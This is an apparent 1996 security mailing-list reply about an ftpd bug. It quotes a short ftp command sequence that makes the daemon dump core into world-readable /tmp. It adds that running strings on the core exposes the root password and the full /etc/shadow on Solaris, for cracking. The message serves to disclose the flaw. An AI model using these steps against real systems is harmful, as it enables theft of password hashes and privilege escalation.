Re: ftpd bug? Was: bin/1805: Bug in ftpd

[runeb () td org uit no (Rune Braathen)]

On Tue, 15 Oct 1996, Martin Rex wrote:
> logon via ftp with your regular user/password,
> ftp> cd /tmp
> ftp> user root wrongpasswd
> ftp> quote pasv
>
> voila, root password in world readable core dump under /tmp
>
> -Martin

Doing a `strings core` on the corefile produced, also reveals the entire
/etc/shadow file on solaris 2.4 and 2.5. This is extremely bad, because
this gives normal users the ability to merge in the encrypted strings in
the password file, and run crack et. al.

The problem is related to users with accounts only, anonymous ftp users
should not be able to issue USER and PASS commands.

--
__________________________________________________________________
runeb / cF - runeb () td org uit no - http://www.td.org.uit.no/~runeb
a new life awaits you, in the off-world colonies.